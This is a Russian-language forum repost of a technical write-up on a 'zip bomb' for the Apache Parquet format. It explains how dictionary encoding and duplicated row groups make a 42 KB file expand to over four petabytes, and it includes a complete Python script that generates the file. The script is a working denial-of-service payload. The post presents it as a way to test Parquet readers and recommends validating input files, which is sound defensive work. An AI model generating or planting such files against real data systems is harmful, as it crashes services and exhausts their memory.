ZIP-бомба в формате Apache Parquet

Добро пожаловать на наш форум!

Спасибо за посещение нашего сообщества. Пожалуйста, зарегистрируйтесь или войдите, чтобы получить доступ ко всем функциям.


Gibby

Автор
Команда проекта

Регистрация
Сообщений
855
Репутация
32
Сделок
2.png
Подобного рода экспоиты можно встроить не только в формат ZIP или PNG, но и в других форматы файлов, которые поддерживают сжатие. Например, в формате Apache Parquet.
Напомним, что исторически ZIP-бомба (файловая бомба или архив смерти) представляла собой архивный файл, при распаковке которого можно вызвать зависание операционной системы или рабочего приложения путём заполнения всего свободного места на носителе или оперативной/рабочей памяти. В этом смысле её можно считать разновидностью DoS-атаки.

Первая задокументированная zip-бомба появилась в 1996 году. Самым известным примером является файл 42.zip размером 42 килобайта. Если начать его распаковку, то процесс будет идти до тех пор, пока набор данных не достигнет верхнего предела распаковки в 4,3 гигабайта. При этом процесс займет более 4,5 петабайт в оперативной памяти (4 503 599 626 321 920 байт).

Прогресс не стоит на месте. Недавно один из основных разработчиков СУБД DuckDB, профессор д-р Ханнес Мюхляйзен (Hannes Mühleisen) опубликовал описание нового типа ZIP-бомбы для формата файлов Apache Parquet.

Apache Parquet — свободный формат хранения данных в колончатой БД типа Apache Hadoop. Он похож на RCFile, ORC и другие форматы колоночного хранения файлов в Hadoop, совместим с большинством фреймворков обработки данных в Hadoop. Формат обеспечивает эффективное сжатие и кодирование с повышенной производительностью для обработки сложных данных в больших объёмах. Именно функцию эффективного сжатия в данном случае и эксплуатирует «злоумышленник».

Как и в эталонном примере с архивом ZIP, здесь создаётся файл 42.parquet размером 42 килобайта, который разворачивается в большой массив данных:
  • 622 триллиона значений (а именно 622 770 257 630 000);
  • более 4 петабайт в памяти.

Мюхляйзен опубликовал скрипт для генерации такого файла:

Python:
import sys
import leb128

import thrift.transport.TTransport
import thrift.protocol.TCompactProtocol

def thrift_to_bytes(thrift_object):
    transport = thrift.transport.TTransport.TMemoryBuffer()
    protocol = thrift.protocol.TCompactProtocol.TCompactProtocol(transport)
    thrift_object.write(protocol)
    return transport.getvalue()

# parquet-specific
sys.path.append('gen-py')
from parquet.ttypes import *

schema = [
    SchemaElement(name = "r", num_children = 1, repetition_type = FieldRepetitionType.REQUIRED),
    SchemaElement(type = Type.INT64, name = "b", num_children = 0, repetition_type = FieldRepetitionType.REQUIRED)
]
schema[0].validate()
schema[1].validate()

out = open('42.parquet', 'wb')
out.write('PAR1'.encode())

col_start = out.tell()
dictionary_offset = out.tell()

# we write a single-value dictionary with int64-max in it

page_header_1 = PageHeader(type = PageType.DICTIONARY_PAGE, uncompressed_page_size = 8, compressed_page_size = 8,  dictionary_page_header = DictionaryPageHeader(num_values = 1, encoding = Encoding.PLAIN))
page_header_1.validate()
page_header_1.dictionary_page_header.validate()

page_header_1_bytes = thrift_to_bytes(page_header_1)
out.write(page_header_1_bytes)
out.write((9_223_372_036_854_775_807).to_bytes(8, byteorder='little'))

data_offset = out.tell()

# and now we refer to this single entry a gazillion times
page_repeat = 1000
row_group_repeat = 290
page_values = 2_147_483_647 # max int, we can't fit more in a page

data_page_content = bytearray([1]) + leb128.u.encode(page_values << 1) + bytearray([0])

page_header_2 = PageHeader(type = PageType.DATA_PAGE, uncompressed_page_size = len(data_page_content), compressed_page_size = len(data_page_content),  data_page_header = DataPageHeader(num_values = page_values, encoding = Encoding.RLE_DICTIONARY, definition_level_encoding = Encoding.PLAIN, repetition_level_encoding = Encoding.PLAIN))
page_header_2.data_page_header.validate()
page_header_2.validate()

page_header_2_bytes = thrift_to_bytes(page_header_2)

page_bytes = page_header_2_bytes + data_page_content


for i in range(page_repeat):
    out.write(page_bytes)

column_bytes = out.tell() - col_start

meta_data = ColumnMetaData(type = Type.INT64, encodings = [Encoding.RLE_DICTIONARY], path_in_schema=["b"], codec = CompressionCodec.UNCOMPRESSED, num_values = page_values * page_repeat, total_uncompressed_size = column_bytes, total_compressed_size = column_bytes, data_page_offset = data_offset, dictionary_page_offset = dictionary_offset)
meta_data.validate()
column = ColumnChunk(file_offset = data_offset, meta_data = meta_data)
column.validate()

num_values_per_rowgroup = page_values * page_repeat
num_values = num_values_per_rowgroup * row_group_repeat

row_group = RowGroup(num_rows = num_values_per_rowgroup, total_byte_size = column_bytes, columns = [column])

row_group.validate()

file_meta_data = FileMetaData(version = 1, num_rows = num_values, schema=schema, row_groups = [row_group] * row_group_repeat)
file_meta_data.validate()

footer_bytes = thrift_to_bytes(file_meta_data)
out.write(footer_bytes)
out.write(len(footer_bytes).to_bytes(4, byteorder='little'))
out.write('PAR1'.encode())

Скрипт может быть полезен для тестирования ридеров Parquet, которые должны проводить соответствующую проверку и не допускать разворачивания подобных архивов в памяти. Нужно заметить, что Parquet считается стандартом в своей области. Чтение и запись в этом формате поддерживает большинство современных инструментов и сервисов для обработки данных.

В DuckDB тоже есть собственные средства чтения и записи файлов Parquet.


Структура файла 42.parquet​

Файл Parquet состоит из одной или нескольких групп строк и столбцов. Там находятся страницы с фактическими данными в закодированном формате. Среди прочего Parquet поддерживает сжатие со словарём (dictionary encoding), при которой сначала идёт страница со словарём, а затем страницы данных, которые ссылаются на словарь. Это эффективно для столбцов с длинными часто повторяющимися значениями, такими как категориальные строки (данные из ограниченного набора категорий).

Соответственно, можно создать словарь с одним значением и многократно обращаться к нему. В данном примере профессор использовал одно 64-битное целое число, самое большое из возможных значений. Затем поставил ссылки на эту словарную статью, используя кодирование длин серий RLE_DICTIONARY в Parquet. Выбранная кодировка RLE-3 немного странная, потому что сочетает упаковку битов и кодирование длин серий, но по сути можно использовать самую большую возможную длину серии 231−1, чуть больше двух миллиардов.

Поскольку словарь крошечный (одна запись), повторяющееся значение 0 ссылается на единственную запись. Включая необходимые заголовки и нижние колонтитулы метаданных (как и все метаданные в Parquet, они кодируются с помощью Thrift), размер файла составляет всего 133 байта.

Колонки могут содержать несколько страниц, которые ссылаются на один и тот же словарь. Таким образом, если многократно повторять страницу данных, то в файл добавляется по 31 байту, а в таблицу — по 2 млрд значений.

Чтобы увеличить размер данных, используется и другой трюк. Как уже упоминалось, файлы Parquet содержат одну или несколько групп строк, которые хранятся в колонтитуле Thrift в конце файла. Для каждого столбца указаны байтовые смещения (data_page_offset и др.) в файле, где хранятся страницы. Ничто не мешает добавить несколько групп строк, которые все ссылаются на одно и то же байтовое смещение, то есть на то, где хранятся словарь и данные. Каждая добавленная группа строк логически повторяет все страницы. Конечно, добавление групп рядов также требует хранения метаданных, поэтому существует некий компромисс между добавлением страниц (2 млрд значений) и групп строк (вдвое больше, чем другая группа строк, которую дублирует эта).


Проверка при чтении​

С учётом новой информации, файлы .parquet следует обрабатывать с теми же мерами предосторожности, что и другие потенциально опасные файлы, такие как .exe, .zip и .png.

Проверка при парсинге файлов .parquet проводится в любом случае: ведь они могут быть повреждены. Но как выяснилось, опасность представляет даже полностью валидный файл.
 
Сверху